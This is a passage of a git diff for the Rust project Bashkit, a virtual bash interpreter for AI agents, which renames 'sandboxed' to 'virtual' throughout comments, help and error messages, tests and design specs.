fingerprinting. pub struct Hostname { @@ -64,14 +64,14 @@ impl Builtin for Hostname { || ctx.args.first().map(|s| s.as_str()) == Some("--help") { return Ok(ExecResult::ok( - "hostname: display sandbox hostname\nUsage: hostname\n", + "hostname: display virtual hostname\nUsage: hostname\n", )); } // Ignore any attempts to set hostname if !ctx.args.is_empty() { return Ok(ExecResult::err( - "hostname: cannot set hostname in sandbox\n", + "hostname: cannot set hostname in virtual mode\n", 1, )); } @@ -134,7 +134,7 @@ impl Builtin for Uname { "-o" | "--operating-system" => show_os = true, "-h" | "--help" => { return Ok(ExecResult::ok( - "uname: print sandbox system information\n\ + "uname: print virtual system information\n\ Usage: uname [OPTION]...\n\ Options:\n\ \t-a print all information\n\ @@ -187,7 +187,7 @@ impl Builtin for Uname { } } -/// The whoami builtin - returns configurable sandbox username. +/// The whoami builtin - returns configurable virtual username. pub struct Whoami { username: String, } @@ -221,7 +221,7 @@ impl Builtin for Whoami { } } -/// The id builtin - returns configurable sandbox user/group IDs. +/// The id builtin - returns configurable virtual user/group IDs. pub struct Id { username: String, } @@ -266,7 +266,7 @@ impl Builtin for Id { } "-h" | "--help" => { return Ok(ExecResult::ok( - "id: print sandbox user and group IDs\n\ + "id: print virtual user and group IDs\n\ Usage: id [OPTION]\n\ Options:\n\ \t-u print only the effective user ID\n\ diff --git a/crates/bashkit/src/builtins/timeout.rs b/crates/bashkit/src/builtins/timeout.rs index 00061fa9..e703f843 100644 --- a/crates/bashkit/src/builtins/timeout.rs +++ b/crates/bashkit/src/builtins/timeout.rs @@ -31,7 +31,7 @@ use crate::interpreter::ExecResult; /// 127 - Command not found /// Otherwise, exit status of command /// -/// Note: In Bashkit's sandboxed environment, timeout works by wrapping +/// Note: In Bashkit's virtual environment, timeout works by wrapping /// the command execution in a tokio timeout. Max timeout is 300 seconds /// for safety. pub struct Timeout; diff --git a/crates/bashkit/src/builtins/vars.rs b/crates/bashkit/src/builtins/vars.rs index 7e9d37ab..0137ca48 100644 --- a/crates/bashkit/src/builtins/vars.rs +++ b/crates/bashkit/src/builtins/vars.rs @@ -153,7 +153,7 @@ impl Builtin for Readonly { /// times builtin - POSIX special built-in to display process times. /// /// Prints accumulated user and system times for the shell and its children. -/// In a sandboxed environment, returns zeros since we don't track real CPU time. +/// In Bashkit's virtual environment, returns zeros since we don't track real CPU time. /// /// Output format: /// ```text @@ -166,7 +166,7 @@ pub struct Times; #[async_trait] impl Builtin for Times { async fn execute(&self, _ctx: Context<'_>) -> Result { - // In a sandboxed environment, we don't have real process times + // In Bashkit's virtual environment, we don't have real process times // Return zeros as per POSIX format let output = "0m0.000s 0m0.000s\n0m0.000s 0m0.000s\n".to_string(); Ok(ExecResult::ok(output)) diff --git a/crates/bashkit/src/builtins/wait.rs b/crates/bashkit/src/builtins/wait.rs index 7b5cf72c..a1509ecb 100644 --- a/crates/bashkit/src/builtins/wait.rs +++ b/crates/bashkit/src/builtins/wait.rs @@ -13,7 +13,7 @@ use crate::interpreter::ExecResult; /// If no JOB_ID is specified, wait for all background jobs. /// Returns the exit status of the last job waited for. /// -/// Note: In this sandboxed implementation, background jobs run +/// Note: In this virtual implementation, background jobs run /// synchronously, so wait is effectively a no-op. However, it /// is provided for script compatibility. pub struct Wait; diff --git a/crates/bashkit/src/fs/limits.rs b/crates/bashkit/src/fs/limits.rs index cbd69642..6941ec9e 100644 --- a/crates/bashkit/src/fs/limits.rs +++ b/crates/bashkit/src/fs/limits.rs @@ -1,4 +1,4 @@ -//! Filesystem resource limits for sandboxed execution. +//! Filesystem resource limits for virtual execution. //! //! These limits prevent scripts from exhausting memory via filesystem operations. //! diff --git a/crates/bashkit/src/fs/memory.rs b/crates/bashkit/src/fs/memory.rs index a66527d8..40999207 100644 --- a/crates/bashkit/src/fs/memory.rs +++ b/crates/bashkit/src/fs/memory.rs @@ -56,7 +56,7 @@ use fail::fail_point; /// /// `InMemoryFs` is the default filesystem used by [`Bash::new()`](crate::Bash::new). /// It stores all files and directories in memory using a `HashMap`, making it -/// ideal for sandboxed execution where no real filesystem access is needed. +/// ideal for virtual execution where no real filesystem access is needed. /// /// # Features /// diff --git a/crates/bashkit/src/fs/mod.rs b/crates/bashkit/src/fs/mod.rs index 05ccdda9..9f6578ad 100644 --- a/crates/bashkit/src/fs/mod.rs +++ b/crates/bashkit/src/fs/mod.rs @@ -1,7 +1,7 @@ //! Virtual filesystem for Bashkit. //! //! This module provides a virtual filesystem abstraction that allows Bashkit to -//! operate in a sandboxed environment without accessing the real filesystem. +//! operate in a virtual environment without accessing the real filesystem. //! //! # Which Trait/Type Should I Use? //! diff --git a/crates/bashkit/src/git/client.rs b/crates/bashkit/src/git/client.rs index 22b910b2..58e1a048 100644 --- a/crates/bashkit/src/git/client.rs +++ b/crates/bashkit/src/git/client.rs @@ -1,6 +1,6 @@ //! Git client implementation for Bashkit. //! -//! Provides sandboxed git operations on the virtual filesystem. +//! Provides virtual git operations on the virtual filesystem. //! //! # Implementation Notes //! @@ -19,7 +19,7 @@ use crate::fs::FileSystem; use super::config::GitConfig; -/// Git client for sandboxed operations. +/// Git client for virtual operations. /// /// All operations work on the virtual filesystem and never access /// the host's git installation or configuration. @@ -837,7 +837,7 @@ impl GitClient { /// /// # Note /// - /// In sandbox mode, this validates the URL against the allowlist + /// In virtual mode, this validates the URL against the allowlist /// but actual network operations are not supported. pub async fn clone( &self, @@ -848,9 +848,9 @@ impl GitClient { // Validate URL self.config.is_url_allowed(url).map_err(Error::Internal)?; - // Return sandbox mode message + // Return virtual mode message Err(Error::Internal(format!( - "git clone: network operations not supported in sandbox mode\n\ + "git clone: network operations not supported in virtual mode\n\ hint: URL '{}' passed allowlist validation\n\ hint: to clone, use a pre-populated virtual filesystem instead", url @@ -861,7 +861,7 @@ impl GitClient { /// /// # Note /// - /// In sandbox mode, this validates the URL against the allowlist + /// In virtual mode, this validates the URL against the allowlist /// but actual network operations are not supported. pub async fn fetch( &self, @@ -881,9 +881,9 @@ impl GitClient { .is_url_allowed(&remote_entry.url) .map_err(Error::Internal)?; - // Return sandbox mode message + // Return virtual mode message Err(Error::Internal(format!( - "git fetch: network operations not supported in sandbox mode\n\ + "git fetch: network operations not supported in virtual mode\n\ hint: remote '{}' URL '{}' passed allowlist validation", remote, remote_entry.url ))) @@ -893,7 +893,7 @@ impl GitClient { /// /// # Note /// - /// In sandbox mode, this validates the URL against the allowlist + /// In virtual mode, this validates the URL against the allowlist /// but actual network operations are not supported. pub async fn push( &self, @@ -913,9 +913,9 @@ impl GitClient { .is_url_allowed(&remote_entry.url) .map_err(Error::Internal)?; - // Return sandbox mode message + // Return virtual mode message Err(Error::Internal(format!( - "git push: network operations not supported in sandbox mode\n\ + "git push: network operations not supported in virtual mode\n\ hint: remote '{}' URL '{}' passed allowlist validation", remote, remote_entry.url ))) @@ -925,7 +925,7 @@ impl GitClient { /// /// # Note /// - /// In sandbox mode, this validates the URL against the allowlist + /// In virtual mode, this validates the URL against the allowlist /// but actual network operations are not supported. pub async fn pull( &self, @@ -945,9 +945,9 @@ impl GitClient { .is_url_allowed(&remote_entry.url) .map_err(Error::Internal)?; - // Return sandbox mode message + // Return virtual mode message Err(Error::Internal(format!( - "git pull: network operations not supported in sandbox mode\n\ + "git pull: network operations not supported in virtual mode\n\ hint: remote '{}' URL '{}' passed allowlist validation", remote, remote_entry.url ))) @@ -1169,7 +1169,7 @@ impl GitClient { // Simplified diff: just show a placeholder // Full diff implementation would require tracking file content hashes - Ok("# Diff output (simplified in sandbox mode)\n".to_string()) + Ok("# Diff output (simplified in virtual mode)\n".to_string()) } /// Reset HEAD to a commit. diff --git a/crates/bashkit/src/git/config.rs b/crates/bashkit/src/git/config.rs index d65278a9..12ea531f 100644 --- a/crates/bashkit/src/git/config.rs +++ b/crates/bashkit/src/git/config.rs @@ -5,16 +5,16 @@ //! This module mitigates the following threats (see `specs/006-threat-model.md`): //! //! - **TM-GIT-001**: Unauthorized clone → remote URL allowlist (Phase 2) -//! - **TM-GIT-002**: Host identity leak → configurable sandbox identity +//! - **TM-GIT-002**: Host identity leak → configurable virtual identity //! - **TM-GIT-003**: Host git config access → no host filesystem access //! - **TM-GIT-010**: Push to unauthorized remote → remote URL allowlist (Phase 2) use std::collections::HashSet; -/// Default author name for commits in sandboxed environment. +/// Default author name for commits in the virtual environment. pub const DEFAULT_AUTHOR_NAME: &str = "sandbox"; -/// Default author email for commits in sandboxed environment. +/// Default author email for commits in the virtual environment. pub const DEFAULT_AUTHOR_EMAIL: &str = "sandbox@bashkit.local"; /// Git configuration for Bashkit. @@ -32,7 +32,7 @@ pub const DEFAULT_AUTHOR_EMAIL: &str = "sandbox@bashkit.local"; /// /// # Security /// -/// - Author identity is sandboxed (never reads from host) +/// - Author identity is virtual (never reads from host) /// - Remote URLs require explicit allowlist (Phase 2) /// - All operations confined to virtual filesystem #[derive(Debug, Clone)] @@ -59,7 +59,7 @@ impl Default for GitConfig { } impl GitConfig { - /// Create a new git configuration with default sandbox identity. + /// Create a new git configuration with default virtual identity. /// /// # Example /// diff --git a/crates/bashkit/src/git/mod.rs b/crates/bashkit/src/git/mod.rs index c8bddcd9..8545e28d 100644 --- a/crates/bashkit/src/git/mod.rs +++ b/crates/bashkit/src/git/mod.rs @@ -1,6 +1,6 @@ //! Git support for Bashkit //! -//! Provides sandboxed git operations on the virtual filesystem. +//! Provides virtual git operations on the virtual filesystem. //! Requires the `git` feature to be enabled. //! //! # Security Model @@ -8,7 +8,7 @@ //! - **Disabled by default**: Git access requires explicit configuration //! - **Virtual filesystem only**: All operations confined to VFS //! - **Remote URL allowlist**: Only allowed URLs can be accessed (Phase 2) -//! - **Sandboxed identity**: Author name/email are configurable, never from host +//! - **Virtual identity**: Author name/email are configurable, never from host //! - **No host access**: Cannot read host ~/.gitconfig or credentials //! //! # Usage diff --git a/crates/bashkit/src/interpreter/mod.rs b/crates/bashkit/src/interpreter/mod.rs index b770ea96..63c29fbc 100644 --- a/crates/bashkit/src/interpreter/mod.rs +++ b/crates/bashkit/src/interpreter/mod.rs @@ -135,8 +135,8 @@ impl Interpreter { /// # Arguments /// /// * `fs` - The virtual filesystem to use - /// * `username` - Optional custom username for sandbox identity - /// * `hostname` - Optional custom hostname for sandbox identity + /// * `username` - Optional custom username for virtual identity + /// * `hostname` - Optional custom hostname for virtual identity /// * `custom_builtins` - Custom builtins to register (override defaults if same name) pub fn with_config( fs: Arc, @@ -215,7 +215,7 @@ impl Interpreter { // Python builtins: opt-in via BashBuilder::python() / BashToolBuilder::python() // The `python` feature flag enables compilation; registration is explicit. builtins.insert("timeout".to_string(), Box::new(builtins::Timeout)); - // System info builtins (configurable sandbox values) + // System info builtins (configurable virtual values) let hostname_val = hostname.unwrap_or_else(|| builtins::DEFAULT_HOSTNAME.to_string()); let username_val = username.unwrap_or_else(|| builtins::DEFAULT_USERNAME.to_string()); builtins.insert( @@ -1220,7 +1220,7 @@ impl Interpreter { /// - `echo 'echo hello' | bash` - execute script from stdin /// - `bash --version` / `bash --help` /// - /// SECURITY: This re-invokes the sandboxed interpreter, NOT external bash. + /// SECURITY: This re-invokes the virtual interpreter, NOT external bash. /// See threat model TM-ESC-015 for security analysis. async fn execute_shell( &mut self, @@ -1240,9 +1240,9 @@ impl Interpreter { let arg = &args[idx]; match arg.as_str() { "--version" => { - // Return sandbox version info (not real bash) + // Return virtual interpreter version info (not real bash) return Ok(ExecResult::ok(format!( - "Bashkit {} (sandboxed {} interpreter)\n", + "Bashkit {} (virtual {} interpreter)\n", env!("CARGO_PKG_VERSION"), shell_name ))); @@ -1250,7 +1250,7 @@ impl Interpreter { "--help" => { return Ok(ExecResult::ok(format!( "Usage: {} [option] ... [file [argument] ...]\n\ - Sandboxed shell interpreter (not GNU bash)\n\n\ + Virtual shell interpreter (not GNU bash)\n\n\ Options:\n\ \t-c string\tExecute commands from string\n\ \t-n\t\tCheck syntax without executing (noexec)\n\ @@ -1280,8 +1280,8 @@ impl Interpreter { noexec = true; idx += 1; } - // Accept but ignore these options (limited/no support in sandbox) - // TODO: These options are accepted but not enforced in sandbox + // Accept but ignore these options (limited/no support in virtual mode) + // TODO: These options are accepted but not enforced in virtual mode // -e (errexit), -x (xtrace), -v (verbose), -u (nounset) // Would need interpreter changes to fully implement "-e" | "-x" | "-v" | "-u" | "-o" | "-i" | "-s" => { @@ -3240,7 +3240,7 @@ impl Interpreter { } "!" => { // $! - PID of most recent background command - // In sandboxed environment, background jobs run synchronously + // In Bashkit's virtual environment, background jobs run synchronously // Return empty string or last job ID placeholder if let Some(last_bg_pid) = self.variables.get("_LAST_BG_PID") { return last_bg_pid.clone(); @@ -3654,7 +3654,7 @@ mod tests { #[tokio::test] async fn test_times_builtin() { - // POSIX times - returns process times (zeros in sandbox) + // POSIX times - returns process times (zeros in virtual mode) let result = run_script("times").await; assert_eq!(result.exit_code, 0); assert!(result.stdout.contains("0m0.000s")); @@ -3676,7 +3676,7 @@ mod tests { #[tokio::test] async fn test_special_param_bang() { - // $! - last background PID (empty in sandbox with no bg jobs) + // $! - last background PID (empty in virtual mode with no bg jobs) let result = run_script("echo \"$!\"").await; // Should be empty or a placeholder assert_eq!(result.exit_code, 0); @@ -3948,7 +3948,7 @@ mod tests { #[tokio::test] async fn test_bash_with_option_e() { - // bash -e -c "command" - -e is accepted but doesn't change behavior in sandbox + // bash -e -c "command" - -e is accepted but doesn't change behavior in virtual mode let result = run_script("bash -e -c 'echo works'").await; assert_eq!(result.exit_code, 0); assert_eq!(result.stdout.trim(), "works"); @@ -3994,7 +3994,7 @@ mod tests { let result = run_script("bash --version").await; assert_eq!(result.exit_code, 0); assert!(result.stdout.contains("Bashkit")); - assert!(result.stdout.contains("sandboxed")); + assert!(result.stdout.contains("virtual")); } #[tokio::test] @@ -4002,7 +4002,7 @@ mod tests { // sh --version also works let result = run_script("sh --version").await; assert_eq!(result.exit_code, 0); - assert!(result.stdout.contains("sandboxed sh")); + assert!(result.stdout.contains("virtual sh")); } #[tokio::test] @@ -4100,7 +4100,7 @@ mod tests { let result = run_script("bash --version").await; assert!(!result.stdout.contains("/usr")); assert!(!result.stdout.contains("GNU")); - // Should only contain sandboxed version info + // Should only contain virtual version info } // Additional positive tests diff --git a/crates/bashkit/src/lib.rs b/crates/bashkit/src/lib.rs index d547e16a..1f63345a 100644 --- a/crates/bashkit/src/lib.rs +++ b/crates/bashkit/src/lib.rs @@ -1,18 +1,18 @@ -//! Bashkit - Sandboxed bash interpreter for multi-tenant environments +//! Bashkit - Virtual bash interpreter for multi-tenant environments //! -//! Sandboxed bash interpreter for AI agents, CI/CD pipelines, and code sandboxes. +//! Virtual bash interpreter for AI agents, CI/CD pipelines, and code sandboxes. //! Written in Rust. //! //! # Features //! //! - **POSIX compliant** - Substantial IEEE 1003.1-2024 Shell Command Language compliance -//! - **Sandboxed execution** - No real filesystem access by default +//! - **Sandboxed, in-process execution** - No real filesystem access by default //! - **Virtual filesystem** - [`InMemoryFs`], [`OverlayFs`], [`MountableFs`] //! - **Resource limits** - Command count, loop iterations, function depth //! - **Network allowlist** - Control HTTP access per-domain //! - **Custom builtins** - Extend with domain-specific commands //! - **Async-first** - Built on tokio -//! - **Experimental: Git** - Sandboxed git operations on the VFS (`git` feature) +//! - **Experimental: Git** - Virtual git operations on the VFS (`git` feature) //! - **Experimental: Python** - Embedded Python via [Monty](https://github.com/pydantic/monty) (`python` feature) //! //! # Built-in Commands (68+) @@ -28,7 +28,7 @@ //! | File inspection | `file`, `stat`, `less` | //! | Archives | `tar`, `gzip`, `gunzip` | //! | Utilities | `sleep`, `date`, `basename`, `dirname`, `timeout`, `wait`, `xargs`, `tee` | -//! | Shell | `bash`, `sh` (sandboxed re-invocation), `eval`, `:` | +//! | Shell | `bash`, `sh` (virtual re-invocation), `eval`, `:` | //! | System info | `whoami`, `hostname`, `uname`, `id`, `env`, `printenv`, `history` | //! | Network | `curl`, `wget` (requires [`NetworkAllowlist`]) //! | Experimental | `python`, `python3` (requires `python` feature), `git` (requires `git` feature) @@ -268,7 +268,7 @@ //! //! # Experimental: Git Support //! -//! Enable the `git` feature for sandboxed git operations. All git data lives in +//! Enable the `git` feature for virtual git operations. All git data lives in //! the virtual filesystem. //! //! ```toml @@ -292,7 +292,7 @@ //! ``` //! //! Supported: `init`, `config`, `add`, `commit`, `status`, `log`, `branch`, -//! `checkout`, `diff`, `reset`, `remote`, `clone`/`push`/`pull`/`fetch` (sandbox mode). +//! `checkout`, `diff`, `reset`, `remote`, `clone`/`push`/`pull`/`fetch` (virtual mode). //! //! See [`GitConfig`] for configuration options. //! @@ -338,7 +338,7 @@ //! - `custom_fs.rs` - Using different filesystem implementations //! - `custom_filesystem_impl.rs` - Implementing the [`FileSystem`] trait //! - `resource_limits.rs` - Setting execution limits -//! - `sandbox_identity.rs` - Customizing username/hostname +//! - `virtual_identity.rs` - Customizing username/hostname //! - `text_processing.rs` - Using grep, sed, awk, and jq //! - `agent_tool.rs` - LLM agent integration //! - `git_workflow.rs` - Git operations on the virtual filesystem @@ -417,7 +417,7 @@ use std::sync::Arc; /// Main entry point for Bashkit. /// -/// Provides a sandboxed bash interpreter with an in-memory virtual filesystem. +/// Provides a virtual bash interpreter with an in-memory virtual filesystem. pub struct Bash { fs: Arc, interpreter: Interpreter, diff --git a/crates/bashkit/src/limits.rs b/crates/bashkit/src/limits.rs index 8926c720..6ee1a1c8 100644 --- a/crates/bashkit/src/limits.rs +++ b/crates/bashkit/src/limits.rs @@ -1,4 +1,4 @@ -//! Resource limits for sandboxed execution. +//! Resource limits for virtual execution. //! //! These limits prevent runaway scripts from consuming excessive resources. //! diff --git a/crates/bashkit/src/network/client.rs b/crates/bashkit/src/network/client.rs index 01a1ec0e..be99868d 100644 --- a/crates/bashkit/src/network/client.rs +++ b/crates/bashkit/src/network/client.rs @@ -1,6 +1,6 @@ //! HTTP client for secure network access. //! -//! Provides a sandboxed HTTP client that respects the allowlist with +//! Provides a virtual HTTP client that respects the allowlist with //! security mitigations for common HTTP attacks. //! //! # Security Mitigations diff --git a/crates/bashkit/src/tool.rs b/crates/bashkit/src/tool.rs index e56dc0eb..6edf7660 100644 --- a/crates/bashkit/src/tool.rs +++ b/crates/bashkit/src/tool.rs @@ -8,7 +8,7 @@ //! # Architecture //! //! - [`Tool`] trait: Contract that all tools must implement -//! - [`BashTool`]: Sandboxed bash interpreter implementing Tool +//! - [`BashTool`]: Virtual bash interpreter implementing Tool //! - [`BashToolBuilder`]: Builder pattern for configuring BashTool //! //! # Example @@ -48,14 +48,14 @@ const BUILTINS: &str = "echo cat grep sed awk jq curl head tail sort uniq cut tr const BASE_HELP: &str = r#"BASH(1) User Commands BASH(1) NAME - bashkit - sandboxed bash-like interpreter with virtual filesystem + bashkit - virtual bash interpreter with virtual filesystem SYNOPSIS {"commands": ""} DESCRIPTION - Bashkit executes bash commands in an isolated sandbox with a virtual - filesystem. All file operations are contained within the sandbox. + Bashkit executes bash commands in a virtual environment with a virtual + filesystem. All file operations are contained within the virtual environment. Supports full bash syntax including variables, pipelines, redirects, loops, conditionals, functions, and arrays. @@ -199,7 +199,7 @@ impl ToolStatus { /// /// # Implementors /// -/// - [`BashTool`]: Sandboxed bash interpreter +/// - [`BashTool`]: Virtual bash interpreter #[async_trait] pub trait Tool: Send + Sync { /// Tool identifier (e.g., "bashkit", "calculator") @@ -244,9 +244,9 @@ pub trait Tool: Send + Sync { /// Builder for configuring BashTool #[derive(Default)] pub struct BashToolBuilder { - /// Custom username for sandbox identity + /// Custom username for virtual identity username: Option, - /// Custom hostname for sandbox identity + /// Custom hostname for virtual identity hostname: Option, /// Execution limits limits: Option, @@ -262,13 +262,13 @@ impl BashToolBuilder { Self::default() } - /// Set custom username for sandbox identity + /// Set custom username for virtual identity pub fn username(mut self, username: impl Into) -> Self { self.username = Some(username.into()); self } - /// Set custom hostname for sandbox identity + /// Set custom hostname for virtual identity pub fn hostname(mut self, hostname: impl Into) -> Self { self.hostname = Some(hostname.into()); self @@ -341,7 +341,7 @@ impl BashToolBuilder { } } -/// Sandboxed bash interpreter implementing the Tool trait +/// Virtual bash interpreter implementing the Tool trait #[derive(Default)] pub struct BashTool { username: Option, @@ -387,9 +387,8 @@ impl BashTool { /// Build dynamic description with supported tools fn build_description(&self) -> String { - let mut desc = String::from( - "Sandboxed bash-like interpreter with virtual filesystem. Supported tools: ", - ); + let mut desc = + String::from("Virtual bash interpreter with virtual filesystem. Supported tools: "); desc.push_str(BUILTINS); if !self.builtin_names.is_empty() { desc.push(' '); @@ -486,7 +485,7 @@ impl BashTool { let mut prompt = String::from("# Bash Tool\n\n"); // Description with workspace info - prompt.push_str("Sandboxed bash-like interpreter with virtual filesystem.\n"); + prompt.push_str("Virtual bash interpreter with virtual filesystem.\n"); // Home directory info if username is set if let Some(ref username) = self.username { @@ -523,7 +522,7 @@ impl Tool for BashTool { } fn short_description(&self) -> &str { - "Sandboxed bash interpreter with virtual filesystem" + "Virtual bash interpreter with virtual filesystem" } fn description(&self) -> String { @@ -653,11 +652,9 @@ mod tests { assert_eq!(tool.name(), "bashkit"); assert_eq!( tool.short_description(), - "Sandboxed bash interpreter with virtual filesystem" + "Virtual bash interpreter with virtual filesystem" ); - assert!(tool - .description() - .contains("Sandboxed bash-like interpreter")); + assert!(tool.description().contains("Virtual bash interpreter")); assert!(tool.description().contains("Supported tools:")); assert!(tool.help().contains("BASH(1)")); assert!(tool.help().contains("SYNOPSIS")); diff --git a/crates/bashkit/tests/git_advanced_tests.rs b/crates/bashkit/tests/git_advanced_tests.rs index 15782772..c3e47f7d 100644 --- a/crates/bashkit/tests/git_advanced_tests.rs +++ b/crates/bashkit/tests/git_advanced_tests.rs @@ -208,7 +208,7 @@ mod diff_operations { let result = bash.exec("cd /repo && git diff").await.unwrap(); assert_eq!(result.exit_code, 0); - // Simplified diff in sandbox mode + // Simplified diff in virtual mode assert!(result.stdout.contains("Diff output")); } diff --git a/crates/bashkit/tests/git_remote_security_tests.rs b/crates/bashkit/tests/git_remote_security_tests.rs index c45b48bb..947a5276 100644 --- a/crates/bashkit/tests/git_remote_security_tests.rs +++ b/crates/bashkit/tests/git_remote_security_tests.rs @@ -247,7 +247,7 @@ mod remote_management { mod network_operations { use super::*; - /// git clone with valid URL returns sandbox message + /// git clone with valid URL returns virtual mode message #[tokio::test] async fn test_clone_sandbox_message() { let mut bash = create_git_bash_allow_all(); @@ -284,18 +284,18 @@ mod network_operations { .await .unwrap(); - // Fetch should validate and return sandbox message + // Fetch should validate and return virtual mode message let result = bash.exec("cd /repo && git fetch origin").await.unwrap(); assert_ne!(result.exit_code, 0); assert!(result.stderr.contains("network operations not supported")); assert!(result.stderr.contains("passed allowlist validation")); - // Push should validate and return sandbox message + // Push should validate and return virtual mode message let result = bash.exec("cd /repo && git push origin").await.unwrap(); assert_ne!(result.exit_code, 0); assert!(result.stderr.contains("network operations not supported")); - // Pull should validate and return sandbox message + // Pull should validate and return virtual mode message let result = bash.exec("cd /repo && git pull origin").await.unwrap(); assert_ne!(result.exit_code, 0); assert!(result.stderr.contains("network operations not supported")); diff --git a/crates/bashkit/tests/git_security_tests.rs b/crates/bashkit/tests/git_security_tests.rs index 72b4bf61..236329d8 100644 --- a/crates/bashkit/tests/git_security_tests.rs +++ b/crates/bashkit/tests/git_security_tests.rs @@ -18,7 +18,7 @@ mod identity_security { use super::*; /// TM-GIT-002: Host identity leak - /// Commits should use the configured sandbox identity, not host identity. + /// Commits should use the configured virtual identity, not host identity. #[tokio::test] async fn test_commit_uses_sandbox_identity() { let mut bash = create_git_bash(); @@ -26,7 +26,7 @@ mod identity_security { // Create commit bash.exec("git init /repo && cd /repo && echo 'x' > x.txt && git add x.txt && git commit -m 'Test'").await.unwrap(); - // Check log shows sandbox identity + // Check log shows virtual identity let log = bash.exec("cd /repo && git log").await.unwrap(); assert!(log.stdout.contains("Sandbox User")); assert!(log.stdout.contains("sandbox@test.local")); diff --git a/crates/bashkit/tests/spec_cases/bash/bash-command.test.sh b/crates/bashkit/tests/spec_cases/bash/bash-command.test.sh index f52d07d6..1bf51b15 100644 --- a/crates/bashkit/tests/spec_cases/bash/bash-command.test.sh +++ b/crates/bashkit/tests/spec_cases/bash/bash-command.test.sh @@ -67,12 +67,12 @@ did not execute ### bash_version ### bash_diff: returns Bashkit version, not GNU bash -# --version shows sandbox version +# --version shows virtual interpreter version bash --version | grep -q "Bashkit" && echo "has Bashkit" -bash --version | grep -q "sandboxed" && echo "is sandboxed" +bash --version | grep -q "virtual" && echo "is virtual" ### expect has Bashkit -is sandboxed +is virtual ### end ### bash_help @@ -154,7 +154,7 @@ bash -c ### sh_version ### bash_diff: returns Bashkit version, not real sh # sh --version also works -sh --version | grep -q "sandboxed sh" && echo "is sh" +sh --version | grep -q "virtual sh" && echo "is sh" ### expect is sh ### end diff --git a/crates/bashkit/tests/threat_model_tests.rs b/crates/bashkit/tests/threat_model_tests.rs index b5a420d5..b52107bf 100644 --- a/crates/bashkit/tests/threat_model_tests.rs +++ b/crates/bashkit/tests/threat_model_tests.rs @@ -200,16 +200,16 @@ mod sandbox_escape { assert!(result.exit_code != 0); } - /// Test eval is implemented but safe in sandbox + /// Test eval is implemented but safe in virtual environment /// - /// eval is a POSIX special builtin that's now implemented. In the sandbox, + /// eval is a POSIX special builtin that's now implemented. In the virtual environment, /// eval can only execute other builtins (no external commands), so it's safe. /// The current implementation stores the command but doesn't re-execute it. #[tokio::test] async fn threat_eval_is_safe_in_sandbox() { let mut bash = Bash::new(); - // eval is now implemented - it stores the command but in sandbox + // eval is now implemented - it stores the command but in virtual environment // it can only run builtins, so it's safe let result = bash.exec("eval echo test").await.unwrap(); // eval returns 0 (success) as it's a valid builtin @@ -300,7 +300,7 @@ mod injection_attacks { /// Test that eval is implemented but safe (can only run builtins) /// - /// eval is a POSIX special builtin. In sandbox mode, it can only execute + /// eval is a POSIX special builtin. In virtual mode, it can only execute /// builtins (no external commands), so it cannot be used for code injection. #[tokio::test] async fn threat_eval_is_sandboxed() { diff --git a/specs/001-architecture.md b/specs/001-architecture.md index de46f72e..82b3b525 100644 --- a/specs/001-architecture.md +++ b/specs/001-architecture.md @@ -96,7 +96,7 @@ pub trait Tool: Send + Sync { async fn execute_with_status(...) -> ToolResponse; } -pub struct BashTool { /* sandboxed bash implementing Tool */ } +pub struct BashTool { /* virtual bash implementing Tool */ } pub struct BashToolBuilder { /* builder pattern */ } pub struct ToolRequest { commands: String } // Like bash -c pub struct ToolResponse { stdout, stderr, exit_code, error } @@ -109,7 +109,7 @@ impl BashTool { ### Design Principles 1. **Async-first**: All filesystem and execution is async (tokio) -2. **Sandboxed**: No real filesystem access by default +2. **Virtual**: No real filesystem access by default 3. **Multi-tenant safe**: Isolated state per Bash instance 4. **Trait-based**: FileSystem and Builtin traits for extensibility diff --git a/specs/003-vfs.md b/specs/003-vfs.md index 192009c3..25b13a65 100644 --- a/specs/003-vfs.md +++ b/specs/003-vfs.md @@ -170,7 +170,7 @@ See `examples/text_files.rs` for comprehensive examples. - Copy-on-write layer over another FileSystem - Read from base, write to overlay - Whiteout tracking for deleted files -- Useful for: temp modifications, testing, sandboxing +- Useful for: temp modifications, testing, isolation ```rust pub struct OverlayFs { @@ -385,7 +385,7 @@ Rejected because: ### tokio::fs wrapper Rejected because: - Always hits real filesystem -- Can't sandbox or virtualize +- Can't isolate or virtualize - No multi-tenant isolation ## Verification diff --git a/specs/005-builtins.md b/specs/005-builtins.md index 961d1b59..0388cdaa 100644 --- a/specs/005-builtins.md +++ b/specs/005-builtins.md @@ -6,7 +6,7 @@ Implemented ## Decision Bashkit provides a comprehensive set of built-in commands for script execution -in a sandboxed environment. All builtins operate on the virtual filesystem. +in a virtual environment. All builtins operate on the virtual filesystem. ### Builtin Categories @@ -93,12 +93,12 @@ in a sandboxed environment. All builtins operate on the virtual filesystem. - `timeout` - Run command with time limit (stub, max 300s) #### System Information -- `hostname` - Display sandbox hostname (configurable, default: "bashkit-sandbox") +- `hostname` - Display virtual hostname (configurable, default: "bashkit-sandbox") - `uname` - System info (`-a`, `-s`, `-n`, `-r`, `-v`, `-m`, `-o`) -- `whoami` - Display sandbox username (configurable, default: "sandbox") +- `whoami` - Display virtual username (configurable, default: "sandbox") - `id` - User/group IDs (`-u`, `-g`, `-n`) -These builtins return configurable sandbox values to prevent host information disclosure. +These builtins return configurable virtual values to prevent host information disclosure. Configure via `BashBuilder`: ```rust @@ -114,7 +114,7 @@ Bash::builder() - `rmdir` - Remove empty directories (`-p` for parents) #### File Inspection -- `less` - View file contents (sandbox: behaves like `cat`, no interactive paging) +- `less` - View file contents (virtual mode: behaves like `cat`, no interactive paging) - `file` - Detect file type via magic bytes (text, binary, PNG, JPEG, gzip, etc.) - `stat` - Display file metadata (`-c FORMAT` with %n, %s, %F, %a, %U, %G, %Y, %Z) @@ -126,12 +126,12 @@ Bash::builder() #### Environment - `env` - Print environment or run command with modified environment - `printenv` - Print environment variable values -- `history` - Command history (sandbox: limited, no persistent history) +- `history` - Command history (virtual mode: limited, no persistent history) #### Pipeline Control - `xargs` - Build commands from stdin (`-I REPL`, `-n MAX`, `-d DELIM`) - `tee` - Write to files and stdout (`-a` append) -- `watch` - Execute command periodically (sandbox: shows command info, no continuous execution) +- `watch` - Execute command periodically (virtual mode: shows command info, no continuous execution) #### Network - `curl` - HTTP client (requires http_client feature + allowlist) diff --git a/specs/006-threat-model.md b/specs/006-threat-model.md index b5848a0e..dcfcad0d 100644 --- a/specs/006-threat-model.md +++ b/specs/006-threat-model.md @@ -2,7 +2,7 @@ ## Overview -Bashkit is a sandboxed bash interpreter for multi-tenant environments, primarily designed for AI agent script execution. This document analyzes security threats and mitigations. 